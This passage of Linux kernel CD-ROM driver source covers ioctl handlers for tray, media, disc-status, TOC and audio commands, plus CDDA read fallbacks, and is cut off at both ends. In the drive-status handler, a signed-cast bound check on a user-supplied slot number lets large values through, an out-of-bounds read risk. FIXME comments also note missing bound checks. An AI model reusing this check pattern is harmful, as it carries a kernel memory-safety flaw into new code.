(blk_rq_unmap_user(bio))\n\t\t\tret = -EFAULT;\n\t\tblk_put_request(rq);", "\t\tif (ret)\n\t\t\tbreak;", "\t\tnframes -= nr;\n\t\tlba += nr;\n\t\tubuf += len;\n\t}", "\treturn ret;\n}", "static int cdrom_read_cdda(struct cdrom_device_info *cdi, __u8 __user *ubuf,\n\t\t\t int lba, int nframes)\n{\n\tint ret;", "\tif (cdi->cdda_method == CDDA_OLD)\n\t\treturn cdrom_read_cdda_old(cdi, ubuf, lba, nframes);", "retry:\n\t/*\n\t * for anything else than success and io error, we need to retry\n\t */\n\tret = cdrom_read_cdda_bpc(cdi, ubuf, lba, nframes);\n\tif (!ret || ret != -EIO)\n\t\treturn ret;", "\t/*\n\t * I've seen drives get sense 4/8/3 udma crc errors on multi\n\t * frame dma, so drop to single frame dma if we need to\n\t */\n\tif (cdi->cdda_method == CDDA_BPC_FULL && nframes > 1) {\n\t\tpr_info(\"dropping to single frame dma\\n\");\n\t\tcdi->cdda_method = CDDA_BPC_SINGLE;\n\t\tgoto retry;\n\t}", "\t/*\n\t * so we have an io error of some sort with multi frame dma. if the\n\t * condition wasn't a hardware error\n\t * problems, not for any error\n\t */\n\tif (cdi->last_sense != 0x04 && cdi->last_sense != 0x0b)\n\t\treturn ret;", "\tpr_info(\"dropping to old style cdda (sense=%x)\\n\", cdi->last_sense);\n\tcdi->cdda_method = CDDA_OLD;\n\treturn cdrom_read_cdda_old(cdi, ubuf, lba, nframes);\t\n}", "static int cdrom_ioctl_multisession(struct cdrom_device_info *cdi,\n\t\tvoid __user *argp)\n{\n\tstruct cdrom_multisession ms_info;\n\tu8 requested_format;\n\tint ret;", "\tcd_dbg(CD_DO_IOCTL, \"entering CDROMMULTISESSION\\n\");", "\tif (!(cdi->ops->capability & CDC_MULTI_SESSION))\n\t\treturn -ENOSYS;", "\tif (copy_from_user(&ms_info, argp, sizeof(ms_info)))\n\t\treturn -EFAULT;", "\trequested_format = ms_info.addr_format;\n\tif (requested_format != CDROM_MSF && requested_format != CDROM_LBA)\n\t\treturn -EINVAL;\n\tms_info.addr_format = CDROM_LBA;", "\tret = cdi->ops->get_last_session(cdi, &ms_info);\n\tif (ret)\n\t\treturn ret;", "\tsanitize_format(&ms_info.addr, &ms_info.addr_format, requested_format);", "\tif (copy_to_user(argp, &ms_info, sizeof(ms_info)))\n\t\treturn -EFAULT;", "\tcd_dbg(CD_DO_IOCTL, \"CDROMMULTISESSION successful\\n\");\n\treturn 0;\n}", "static int cdrom_ioctl_eject(struct cdrom_device_info *cdi)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROMEJECT\\n\");", "\tif (!CDROM_CAN(CDC_OPEN_TRAY))\n\t\treturn -ENOSYS;\n\tif (cdi->use_count != 1 || cdi->keeplocked)\n\t\treturn -EBUSY;\n\tif (CDROM_CAN(CDC_LOCK)) {\n\t\tint ret = cdi->ops->lock_door(cdi, 0);\n\t\tif (ret)\n\t\t\treturn ret;\n\t}", "\treturn cdi->ops->tray_move(cdi, 1);\n}", "static int cdrom_ioctl_closetray(struct cdrom_device_info *cdi)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROMCLOSETRAY\\n\");", "\tif (!CDROM_CAN(CDC_CLOSE_TRAY))\n\t\treturn -ENOSYS;\n\treturn cdi->ops->tray_move(cdi, 0);\n}", "static int cdrom_ioctl_eject_sw(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROMEJECT_SW\\n\");", "\tif (!CDROM_CAN(CDC_OPEN_TRAY))\n\t\treturn -ENOSYS;\n\tif (cdi->keeplocked)\n\t\treturn -EBUSY;", "\tcdi->options &= ~(CDO_AUTO_CLOSE | CDO_AUTO_EJECT);\n\tif (arg)\n\t\tcdi->options |= CDO_AUTO_CLOSE | CDO_AUTO_EJECT;\n\treturn 0;\n}", "static int cdrom_ioctl_media_changed(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tstruct cdrom_changer_info *info;\n\tint ret;", "\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_MEDIA_CHANGED\\n\");", "\tif (!CDROM_CAN(CDC_MEDIA_CHANGED))\n\t\treturn -ENOSYS;", "\t/* cannot select disc or select current disc */\n\tif (!CDROM_CAN(CDC_SELECT_DISC) || arg == CDSL_CURRENT)\n\t\treturn media_changed(cdi, 1);\n", "\tif (arg >= cdi->capacity)", "\t\treturn -EINVAL;", "\tinfo = kmalloc(sizeof(*info), GFP_KERNEL);\n\tif (!info)\n\t\treturn -ENOMEM;", "\tret = cdrom_read_mech_status(cdi, info);\n\tif (!ret)\n\t\tret = info->slots[arg].change;\n\tkfree(info);\n\treturn ret;\n}", "static int cdrom_ioctl_set_options(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_SET_OPTIONS\\n\");", "\t/*\n\t * Options need to be in sync with capability.\n\t * Too late for that, so we have to check each one separately.\n\t */\n\tswitch (arg) {\n\tcase CDO_USE_FFLAGS:\n\tcase CDO_CHECK_TYPE:\n\t\tbreak;\n\tcase CDO_LOCK:\n\t\tif (!CDROM_CAN(CDC_LOCK))\n\t\t\treturn -ENOSYS;\n\t\tbreak;\n\tcase 0:\n\t\treturn cdi->options;\n\t/* default is basically CDO_[AUTO_CLOSE|AUTO_EJECT] */\n\tdefault:\n\t\tif (!CDROM_CAN(arg))\n\t\t\treturn -ENOSYS;\n\t}\n\tcdi->options |= (int) arg;\n\treturn cdi->options;\n}", "static int cdrom_ioctl_clear_options(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_CLEAR_OPTIONS\\n\");", "\tcdi->options &= ~(int) arg;\n\treturn cdi->options;\n}", "static int cdrom_ioctl_select_speed(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_SELECT_SPEED\\n\");", "\tif (!CDROM_CAN(CDC_SELECT_SPEED))\n\t\treturn -ENOSYS;\n\treturn cdi->ops->select_speed(cdi, arg);\n}", "static int cdrom_ioctl_select_disc(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_SELECT_DISC\\n\");", "\tif (!CDROM_CAN(CDC_SELECT_DISC))\n\t\treturn -ENOSYS;", "\tif (arg != CDSL_CURRENT && arg != CDSL_NONE) {\n\t\tif ((int)arg >= cdi->capacity)\n\t\t\treturn -EINVAL;\n\t}", "\t/*\n\t * ->select_disc is a hook to allow a driver-specific way of\n\t * seleting disc. However, since there is no equivalent hook for\n\t * cdrom_slot_status this may not actually be useful...\n\t */\n\tif (cdi->ops->select_disc)\n\t\treturn cdi->ops->select_disc(cdi, arg);", "\tcd_dbg(CD_CHANGER, \"Using generic cdrom_select_disc()\\n\");\n\treturn cdrom_select_disc(cdi, arg);\n}", "static int cdrom_ioctl_reset(struct cdrom_device_info *cdi,\n\t\tstruct block_device *bdev)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_RESET\\n\");", "\tif (!capable(CAP_SYS_ADMIN))\n\t\treturn -EACCES;\n\tif (!CDROM_CAN(CDC_RESET))\n\t\treturn -ENOSYS;\n\tinvalidate_bdev(bdev);\n\treturn cdi->ops->reset(cdi);\n}", "static int cdrom_ioctl_lock_door(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tcd_dbg(CD_DO_IOCTL, \"%socking door\\n\", arg ? \"L\" : \"Unl\");", "\tif (!CDROM_CAN(CDC_LOCK))\n\t\treturn -EDRIVE_CANT_DO_THIS;", "\tcdi->keeplocked = arg ? 1 : 0;", "\t/*\n\t * Don't unlock the door on multiple opens by default, but allow\n\t * root to do so.\n\t */\n\tif (cdi->use_count != 1 && !arg && !capable(CAP_SYS_ADMIN))\n\t\treturn -EBUSY;\n\treturn cdi->ops->lock_door(cdi, arg);\n}", "static int cdrom_ioctl_debug(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tcd_dbg(CD_DO_IOCTL, \"%sabling debug\\n\", arg ? \"En\" : \"Dis\");", "\tif (!capable(CAP_SYS_ADMIN))\n\t\treturn -EACCES;\n\tdebug = arg ? 1 : 0;\n\treturn debug;\n}", "static int cdrom_ioctl_get_capability(struct cdrom_device_info *cdi)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_GET_CAPABILITY\\n\");\n\treturn (cdi->ops->capability & ~cdi->mask);\n}", "/*\n * The following function is implemented, although very few audio\n * discs give Universal Product Code information, which should just be\n * the Medium Catalog Number on the box. Note, that the way the code\n * is written on the CD is /not/ uniform across all discs!\n */\nstatic int cdrom_ioctl_get_mcn(struct cdrom_device_info *cdi,\n\t\tvoid __user *argp)\n{\n\tstruct cdrom_mcn mcn;\n\tint ret;", "\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_GET_MCN\\n\");", "\tif (!(cdi->ops->capability & CDC_MCN))\n\t\treturn -ENOSYS;\n\tret = cdi->ops->get_mcn(cdi, &mcn);\n\tif (ret)\n\t\treturn ret;", "\tif (copy_to_user(argp, &mcn, sizeof(mcn)))\n\t\treturn -EFAULT;\n\tcd_dbg(CD_DO_IOCTL, \"CDROM_GET_MCN successful\\n\");\n\treturn 0;\n}", "static int cdrom_ioctl_drive_status(struct cdrom_device_info *cdi,\n\t\tunsigned long arg)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_DRIVE_STATUS\\n\");", "\tif (!(cdi->ops->capability & CDC_DRIVE_STATUS))\n\t\treturn -ENOSYS;\n\tif (!CDROM_CAN(CDC_SELECT_DISC) ||\n\t (arg == CDSL_CURRENT || arg == CDSL_NONE))\n\t\treturn cdi->ops->drive_status(cdi, CDSL_CURRENT);\n\tif (((int)arg >= cdi->capacity))\n\t\treturn -EINVAL;\n\treturn cdrom_slot_status(cdi, arg);\n}", "/*\n * Ok, this is where problems start. The current interface for the\n * CDROM_DISC_STATUS ioctl is flawed. It makes the false assumption that\n * CDs are all CDS_DATA_1 or all CDS_AUDIO, etc. Unfortunately, while this\n * is often the case, it is also very common for CDs to have some tracks\n * with data, and some tracks with audio. Just because I feel like it,\n * I declare the following to be the best way to cope. If the CD has ANY\n * data tracks on it, it will be returned as a data CD. If it has any XA\n * tracks, I will return it as that. Now I could simplify this interface\n * by combining these returns with the above, but this more clearly\n * demonstrates the problem with the current interface. Too bad this\n * wasn't designed to use bitmasks... -Erik\n *\n * Well, now we have the option CDS_MIXED: a mixed-type CD.\n * User level programmers might feel the ioctl is not very useful.\n *\t\t\t\t\t---david\n */\nstatic int cdrom_ioctl_disc_status(struct cdrom_device_info *cdi)\n{\n\ttracktype tracks;", "\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_DISC_STATUS\\n\");", "\tcdrom_count_tracks(cdi, &tracks);\n\tif (tracks.error)\n\t\treturn tracks.error;", "\t/* Policy mode on */\n\tif (tracks.audio > 0) {\n\t\tif (!tracks.data && !tracks.cdi && !tracks.xa)\n\t\t\treturn CDS_AUDIO;\n\t\telse\n\t\t\treturn CDS_MIXED;\n\t}", "\tif (tracks.cdi > 0)\n\t\treturn CDS_XA_2_2;\n\tif (tracks.xa > 0)\n\t\treturn CDS_XA_2_1;\n\tif (tracks.data > 0)\n\t\treturn CDS_DATA_1;\n\t/* Policy mode off */", "\tcd_dbg(CD_WARNING, \"This disc doesn't have any tracks I recognize!\\n\");\n\treturn CDS_NO_INFO;\n}", "static int cdrom_ioctl_changer_nslots(struct cdrom_device_info *cdi)\n{\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_CHANGER_NSLOTS\\n\");\n\treturn cdi->capacity;\n}", "static int cdrom_ioctl_get_subchnl(struct cdrom_device_info *cdi,\n\t\tvoid __user *argp)\n{\n\tstruct cdrom_subchnl q;\n\tu8 requested, back;\n\tint ret;", "\t/* cd_dbg(CD_DO_IOCTL,\"entering CDROMSUBCHNL\\n\");*/", "\tif (copy_from_user(&q, argp, sizeof(q)))\n\t\treturn -EFAULT;", "\trequested = q.cdsc_format;\n\tif (requested != CDROM_MSF && requested != CDROM_LBA)\n\t\treturn -EINVAL;\n\tq.cdsc_format = CDROM_MSF;", "\tret = cdi->ops->audio_ioctl(cdi, CDROMSUBCHNL, &q);\n\tif (ret)\n\t\treturn ret;", "\tback = q.cdsc_format; /* local copy */\n\tsanitize_format(&q.cdsc_absaddr, &back, requested);\n\tsanitize_format(&q.cdsc_reladdr, &q.cdsc_format, requested);", "\tif (copy_to_user(argp, &q, sizeof(q)))\n\t\treturn -EFAULT;\n\t/* cd_dbg(CD_DO_IOCTL, \"CDROMSUBCHNL successful\\n\"); */\n\treturn 0;\n}", "static int cdrom_ioctl_read_tochdr(struct cdrom_device_info *cdi,\n\t\tvoid __user *argp)\n{\n\tstruct cdrom_tochdr header;\n\tint ret;", "\t/* cd_dbg(CD_DO_IOCTL, \"entering CDROMREADTOCHDR\\n\"); */", "\tif (copy_from_user(&header, argp, sizeof(header)))\n\t\treturn -EFAULT;", "\tret = cdi->ops->audio_ioctl(cdi, CDROMREADTOCHDR, &header);\n\tif (ret)\n\t\treturn ret;", "\tif (copy_to_user(argp, &header, sizeof(header)))\n\t\treturn -EFAULT;\n\t/* cd_dbg(CD_DO_IOCTL, \"CDROMREADTOCHDR successful\\n\"); */\n\treturn 0;\n}", "static int cdrom_ioctl_read_tocentry(struct cdrom_device_info *cdi,\n\t\tvoid __user *argp)\n{\n\tstruct cdrom_tocentry entry;\n\tu8 requested_format;\n\tint ret;", "\t/* cd_dbg(CD_DO_IOCTL, \"entering CDROMREADTOCENTRY\\n\"); */", "\tif (copy_from_user(&entry, argp, sizeof(entry)))\n\t\treturn -EFAULT;", "\trequested_format = entry.cdte_format;\n\tif (requested_format != CDROM_MSF && requested_format != CDROM_LBA)\n\t\treturn -EINVAL;\n\t/* make interface to low-level uniform */\n\tentry.cdte_format = CDROM_MSF;\n\tret = cdi->ops->audio_ioctl(cdi, CDROMREADTOCENTRY, &entry);\n\tif (ret)\n\t\treturn ret;\n\tsanitize_format(&entry.cdte_addr, &entry.cdte_format, requested_format);", "\tif (copy_to_user(argp, &entry, sizeof(entry)))\n\t\treturn -EFAULT;\n\t/* cd_dbg(CD_DO_IOCTL, \"CDROMREADTOCENTRY successful\\n\"); */\n\treturn 0;\n}", "static int cdrom_ioctl_play_msf(struct cdrom_device_info *cdi,\n\t\tvoid __user *argp)\n{\n\tstruct cdrom_msf msf;", "\tcd_dbg(CD_DO_IOCTL, \"entering CDROMPLAYMSF\\n\");", "\tif (!CDROM_CAN(CDC_PLAY_AUDIO))\n\t\treturn -ENOSYS;\n\tif (copy_from_user(&msf, argp, sizeof(msf)))\n\t\treturn -EFAULT;\n\treturn cdi->ops->audio_ioctl(cdi, CDROMPLAYMSF, &msf);\n}", "static int cdrom_ioctl_play_trkind(struct cdrom_device_info *cdi,\n\t\tvoid __user *argp)\n{\n\tstruct cdrom_ti ti;\n\tint ret;", "\tcd_dbg(CD_DO_IOCTL, \"entering CDROMPLAYTRKIND\\n\");", "\tif (!CDROM_CAN(CDC_PLAY_AUDIO))\n\t\treturn -ENOSYS;\n\tif (copy_from_user(&ti, argp, sizeof(ti)))\n\t\treturn -EFAULT;", "\tret = check_for_audio_disc(cdi, cdi->ops);\n\tif (ret)\n\t\treturn ret;\n\treturn cdi->ops->audio_ioctl(cdi, CDROMPLAYTRKIND, &ti);\n}\nstatic int cdrom_ioctl_volctrl(struct cdrom_device_info *cdi,\n\t\tvoid __user *argp)\n{\n\tstruct cdrom_volctrl volume;", "\tcd_dbg(CD_DO_IOCTL, \"entering CDROMVOLCTRL\\n\");", "\tif (!CDROM_CAN(CDC_PLAY_AUDIO))\n\t\treturn -ENOSYS;\n\tif (copy_from_user(&volume, argp, sizeof(volume)))\n\t\treturn -EFAULT;\n\treturn cdi->ops->audio_ioctl(cdi, CDROMVOLCTRL, &volume);\n}", "static int cdrom_ioctl_volread(struct cdrom_device_info *cdi,\n\t\tvoid __user *argp)\n{\n\tstruct cdrom_volctrl volume;\n\tint ret;", "\tcd_dbg(CD_DO_IOCTL, \"entering CDROMVOLREAD\\n\");", "\tif (!CDROM_CAN(CDC_PLAY_AUDIO))\n\t\treturn -ENOSYS;", "\tret = cdi->ops->audio_ioctl(cdi, CDROMVOLREAD, &volume);\n\tif (ret)\n\t\treturn ret;", "\tif (copy_to_user(argp, &volume, sizeof(volume)))\n\t\treturn -EFAULT;\n\treturn 0;\n}", "static int cdrom_ioctl_audioctl(struct cdrom_device_info *cdi,\n\t\tunsigned int cmd)\n{\n\tint ret;", "\tcd_dbg(CD_DO_IOCTL, \"doing audio ioctl (start/stop/pause/resume)\\n\");", "\tif (!CDROM_CAN(CDC_PLAY_AUDIO))\n\t\treturn -ENOSYS;\n\tret = check_for_audio_disc(cdi, cdi->ops);\n\tif (ret)\n\t\treturn ret;\n\treturn cdi->ops->audio_ioctl(cdi, cmd, NULL);\n}", "/*\n * Required when we need to use READ_10 to issue other than 2048 block\n * reads\n */\nstatic int cdrom_switch_blocksize(struct cdrom_device_info *cdi, int size)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tstruct packet_command cgc;\n\tstruct modesel_head mh;", "\tmemset(&mh, 0, sizeof(mh));\n\tmh.block_desc_length = 0x08;\n\tmh.block_length_med = (size >> 8) & 0xff;\n\tmh.block_length_lo = size & 0xff;", "\tmemset(&cgc, 0, sizeof(cgc));\n\tcgc.cmd[0] = 0x15;\n\tcgc.cmd[1] = 1 << 4;\n\tcgc.cmd[4] = 12;\n\tcgc.buflen = sizeof(mh);\n\tcgc.buffer = (char *) &mh;\n\tcgc.data_direction = CGC_DATA_WRITE;\n\tmh.block_desc_length = 0x08;\n\tmh.block_length_med = (size >> 8) & 0xff;\n\tmh.block_length_lo = size & 0xff;", "\treturn cdo->generic_packet(cdi, &cgc);\n}", "static int cdrom_get_track_info(struct cdrom_device_info *cdi,\n\t\t\t\t__u16 track, __u8 type, track_information *ti)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tstruct packet_command cgc;\n\tint ret, buflen;", "\tinit_cdrom_command(&cgc, ti, 8, CGC_DATA_READ);\n\tcgc.cmd[0] = GPCMD_READ_TRACK_RZONE_INFO;\n\tcgc.cmd[1] = type & 3;\n\tcgc.cmd[4] = (track & 0xff00) >> 8;\n\tcgc.cmd[5] = track & 0xff;\n\tcgc.cmd[8] = 8;\n\tcgc.quiet = 1;", "\tret = cdo->generic_packet(cdi, &cgc);\n\tif (ret)\n\t\treturn ret;", "\tbuflen = be16_to_cpu(ti->track_information_length) +\n\t\tsizeof(ti->track_information_length);", "\tif (buflen > sizeof(track_information))\n\t\tbuflen = sizeof(track_information);", "\tcgc.cmd[8] = cgc.buflen = buflen;\n\tret = cdo->generic_packet(cdi, &cgc);\n\tif (ret)\n\t\treturn ret;", "\t/* return actual fill size */\n\treturn buflen;\n}", "/* return the last written block on the CD-R media. this is for the udf\n file system. */\nint cdrom_get_last_written(struct cdrom_device_info *cdi, long *last_written)\n{\n\tstruct cdrom_tocentry toc;\n\tdisc_information di;\n\ttrack_information ti;\n\t__u32 last_track;\n\tint ret = -1, ti_size;", "\tif (!CDROM_CAN(CDC_GENERIC_PACKET))\n\t\tgoto use_toc;", "\tret = cdrom_get_disc_info(cdi, &di);\n\tif (ret < (int)(offsetof(typeof(di), last_track_lsb)\n\t\t\t+ sizeof(di.last_track_lsb)))\n\t\tgoto use_toc;", "\t/* if unit didn't return msb, it's zeroed by cdrom_get_disc_info */\n\tlast_track = (di.last_track_msb << 8) | di.last_track_lsb;\n\tti_size = cdrom_get_track_info(cdi, last_track, 1, &ti);\n\tif (ti_size < (int)offsetof(typeof(ti), track_start))\n\t\tgoto use_toc;", "\t/* if this track is blank, try the previous. */\n\tif (ti.blank) {\n\t\tif (last_track == 1)\n\t\t\tgoto use_toc;\n\t\tlast_track--;\n\t\tti_size = cdrom_get_track_info(cdi, last_track, 1, &ti);\n\t}", "\tif (ti_size < (int)(offsetof(typeof(ti), track_size)\n\t\t\t\t+ sizeof(ti.track_size)))\n\t\tgoto use_toc;", "\t/* if last recorded field is valid, return it. */\n\tif (ti.lra_v && ti_size >= (int)(offsetof(typeof(ti), last_rec_address)\n\t\t\t\t+ sizeof(ti.last_rec_address))) {\n\t\t*last_written = be32_to_cpu(ti.last_rec_address);\n\t} else {\n\t\t/* make it up instead */\n\t\t*last_written = be32_to_cpu(ti.track_start) +\n\t\t\t\tbe32_to_cpu(ti.track_size);\n\t\tif (ti.free_blocks)\n\t\t\t*last_written -= (be32_to_cpu(ti.free_blocks) + 7);\n\t}\n\treturn 0;", "\t/* this is where we end up if the drive either can't do a\n\t GPCMD_READ_DISC_INFO or GPCMD_READ_TRACK_RZONE_INFO or if\n\t it doesn't give enough information or fails. then we return\n\t the toc contents. */\nuse_toc:\n\ttoc.cdte_format = CDROM_MSF;\n\ttoc.cdte_track = CDROM_LEADOUT;\n\tif ((ret = cdi->ops->audio_ioctl(cdi, CDROMREADTOCENTRY, &toc)))\n\t\treturn ret;\n\tsanitize_format(&toc.cdte_addr, &toc.cdte_format, CDROM_LBA);\n\t*last_written = toc.cdte_addr.lba;\n\treturn 0;\n}", "/* return the next writable block. also for udf file system. */\nstatic int cdrom_get_next_writable(struct cdrom_device_info *cdi,\n\t\t\t\t long *next_writable)\n{\n\tdisc_information di;\n\ttrack_information ti;\n\t__u16 last_track;\n\tint ret, ti_size;", "\tif (!CDROM_CAN(CDC_GENERIC_PACKET))\n\t\tgoto use_last_written;", "\tret = cdrom_get_disc_info(cdi, &di);\n\tif (ret < 0 || ret < offsetof(typeof(di), last_track_lsb)\n\t\t\t\t+ sizeof(di.last_track_lsb))\n\t\tgoto use_last_written;", "\t/* if unit didn't return msb, it's zeroed by cdrom_get_disc_info */\n\tlast_track = (di.last_track_msb << 8) | di.last_track_lsb;\n\tti_size = cdrom_get_track_info(cdi, last_track, 1, &ti);\n\tif (ti_size < 0 || ti_size < offsetof(typeof(ti), track_start))\n\t\tgoto use_last_written;", "\t/* if this track is blank, try the previous. */\n\tif (ti.blank) {\n\t\tif (last_track == 1)\n\t\t\tgoto use_last_written;\n\t\tlast_track--;\n\t\tti_size = cdrom_get_track_info(cdi, last_track, 1, &ti);\n\t\tif (ti_size < 0)\n\t\t\tgoto use_last_written;\n\t}", "\t/* if next recordable address field is valid, use it. */\n\tif (ti.nwa_v && ti_size >= offsetof(typeof(ti), next_writable)\n\t\t\t\t+ sizeof(ti.next_writable)) {\n\t\t*next_writable = be32_to_cpu(ti.next_writable);\n\t\treturn 0;\n\t}", "use_last_written:\n\tret = cdrom_get_last_written(cdi, next_writable);\n\tif (ret) {\n\t\t*next_writable = 0;\n\t\treturn ret;\n\t} else {\n\t\t*next_writable += 7;\n\t\treturn 0;\n\t}\n}", "static noinline int mmc_ioctl_cdrom_read_data(struct cdrom_device_info *cdi,\n\t\t\t\t\t void __user *arg,\n\t\t\t\t\t struct packet_command *cgc,\n\t\t\t\t\t int cmd)\n{\n\tstruct request_sense sense;\n\tstruct cdrom_msf msf;\n\tint blocksize = 0, format = 0, lba;\n\tint ret;", "\tswitch (cmd) {\n\tcase CDROMREADRAW:\n\t\tblocksize = CD_FRAMESIZE_RAW;\n\t\tbreak;\n\tcase CDROMREADMODE1:\n\t\tblocksize = CD_FRAMESIZE;\n\t\tformat = 2;\n\t\tbreak;\n\tcase CDROMREADMODE2:\n\t\tblocksize = CD_FRAMESIZE_RAW0;\n\t\tbreak;\n\t}\n\tif (copy_from_user(&msf, (struct cdrom_msf __user *)arg, sizeof(msf)))\n\t\treturn -EFAULT;\n\tlba = msf_to_lba(msf.cdmsf_min0, msf.cdmsf_sec0, msf.cdmsf_frame0);\n\t/* FIXME: we need upper bound checking, too!! */\n\tif (lba < 0)\n\t\treturn -EINVAL;", "\tcgc->buffer = kzalloc(blocksize, GFP_KERNEL);\n\tif (cgc->buffer == NULL)\n\t\treturn -ENOMEM;", "\tmemset(&sense, 0, sizeof(sense));\n\tcgc->sense = &sense;\n\tcgc->data_direction = CGC_DATA_READ;\n\tret = cdrom_read_block(cdi, cgc, lba, 1, format, blocksize);\n\tif (ret && sense.sense_key == 0x05 &&\n\t sense.asc == 0x20 &&\n\t sense.ascq == 0x00) {\n\t\t/*\n\t\t * SCSI-II devices are not required to support\n\t\t * READ_CD, so let's try switching block size\n\t\t */\n\t\t/* FIXME: switch back again... */\n\t\tret = cdrom_switch_blocksize(cdi, blocksize);\n\t\tif (ret)\n\t\t\tgoto out;\n\t\tcgc->sense = NULL;\n\t\tret = cdrom_read_cd(cdi, cgc, lba, blocksize, 1);\n\t\tret |= cdrom_switch_blocksize(cdi, blocksize);\n\t}\n\tif (!ret && copy_to_user(arg, cgc->buffer, blocksize))\n\t\tret = -EFAULT;\nout:\n\tkfree(cgc->buffer);\n\treturn ret;\n}", "static noinline int mmc_ioctl_cdrom_read_audio(struct cdrom_device_info *cdi,\n\t\t\t\t\t void __user *arg)\n{\n\tstruct cdrom_read_audio ra;\n\tint lba;", "\tif (copy_from_user(&ra, (struct cdrom_read_audio __user *)arg,\n\t\t\t sizeof(ra)))\n\t\treturn -EFAULT;", "\tif (ra.addr_format == CDROM_MSF)\n\t\tlba = msf_to_lba(ra.addr.msf.minute,\n\t\t\t\t ra.addr.msf.second,\n\t\t\t\t ra.addr.msf.frame);\n\telse if (ra.addr_format == CDROM_LBA)\n\t\tlba = ra.addr.lba;\n\telse\n\t\treturn -EINVAL;", "\t/* FIXME: we need upper bound checking, too!! */\n\tif (lba < 0 || ra.nframes <= 0 || ra.nframes > CD_FRAMES)\n\t\treturn -EINVAL;", "\treturn cdrom_read_cdda(cdi, ra.buf, lba, ra.nframes);\n}", "static noinline int mmc_ioctl_cdrom_subchannel(struct cdrom_device_info *cdi,\n\t\t\t\t\t void __user *arg)\n{\n\tint ret;\n\tstruct cdrom_subchnl q;\n\tu_char requested, back;\n\tif (copy_from_user(&q, (struct cdrom_subchnl __user *)arg, sizeof(q)))\n\t\treturn -EFAULT;\n\trequested = q.cdsc_format;\n\tif (!((requested == CDROM_MSF) ||\n\t (requested == CDROM_LBA)))\n\t\treturn -EINVAL;", "\tret = cdrom_read_subchannel(cdi, &q, 0);\n\tif (ret)\n\t\treturn ret;\n\tback = q.cdsc_format; /* local copy */\n\tsanitize_format(&q.cdsc_absaddr, &back, requested);\n\tsanitize_format(&q.cdsc_reladdr, &q.cdsc_format, requested);\n\tif (copy_to_user((struct cdrom_subchnl __user *)arg, &q, sizeof(q)))\n\t\treturn -EFAULT;\n\t/* cd_dbg(CD_DO_IOCTL, \"CDROMSUBCHNL successful\\n\"); */\n\treturn 0;\n}", "static noinline int mmc_ioctl_cdrom_play_msf(struct cdrom_device_info *cdi,\n\t\t\t\t\t void __user *arg,\n\t\t\t\t\t struct packet_command *cgc)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tstruct cdrom_msf msf;\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROMPLAYMSF\\n\");\n\tif (copy_from_user(&msf, (struct cdrom_msf __user *)arg, sizeof(msf)))\n\t\treturn -EFAULT;\n\tcgc->cmd[0] = GPCMD_PLAY_AUDIO_MSF;\n\tcgc->cmd[3] = msf.cdmsf_min0;\n\tcgc->cmd[4] = msf.cdmsf_sec0;\n\tcgc->cmd[5] = msf.cdmsf_frame0;\n\tcgc->cmd[6] = msf.cdmsf_min1;\n\tcgc->cmd[7] = msf.cdmsf_sec1;\n\tcgc->cmd[8] = msf.cdmsf_frame1;\n\tcgc->data_direction = CGC_DATA_NONE;\n\treturn cdo->generic_packet(cdi, cgc);\n}", "static noinline int mmc_ioctl_cdrom_play_blk(struct cdrom_device_info *cdi,\n\t\t\t\t\t void __user *arg,\n\t\t\t\t\t struct packet_command *cgc)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tstruct cdrom_blk blk;\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROMPLAYBLK\\n\");\n\tif (copy_from_user(&blk, (struct cdrom_blk __user *)arg, sizeof(blk)))\n\t\treturn -EFAULT;\n\tcgc->cmd[0] = GPCMD_PLAY_AUDIO_10;\n\tcgc->cmd[2] = (blk.from >> 24) & 0xff;\n\tcgc->cmd[3] = (blk.from >> 16) & 0xff;\n\tcgc->cmd[4] = (blk.from >> 8) & 0xff;\n\tcgc->cmd[5] = blk.from & 0xff;\n\tcgc->cmd[7] = (blk.len >> 8) & 0xff;\n\tcgc->cmd[8] = blk.len & 0xff;\n\tcgc->data_direction = CGC_DATA_NONE;\n\treturn cdo->generic_packet(cdi, cgc);\n}", "static noinline int mmc_ioctl_cdrom_volume(struct cdrom_device_info *cdi,\n\t\t\t\t\t void __user *arg,\n\t\t\t\t\t struct packet_command *cgc,\n\t\t\t\t\t unsigned int cmd)\n{\n\tstruct cdrom_volctrl volctrl;\n\tunsigned char buffer[32];\n\tchar mask[sizeof(buffer)];\n\tunsigned short offset;\n\tint ret;", "\tcd_dbg(CD_DO_IOCTL, \"entering CDROMVOLUME\\n\");", "\tif (copy_from_user(&volctrl, (struct cdrom_volctrl __user *)arg,\n\t\t\t sizeof(volctrl)))\n\t\treturn -EFAULT;", "\tcgc->buffer = buffer;\n\tcgc->buflen = 24;\n\tret = cdrom_mode_sense(cdi, cgc, GPMODE_AUDIO_CTL_PAGE, 0);\n\tif (ret)\n\t\treturn ret;\n\t\t\n\t/* originally the code depended on buffer[1] to determine\n\t how much data is available for transfer. buffer[1] is\n\t unfortunately ambigious and the only reliable way seem\n\t to be to simply skip over the 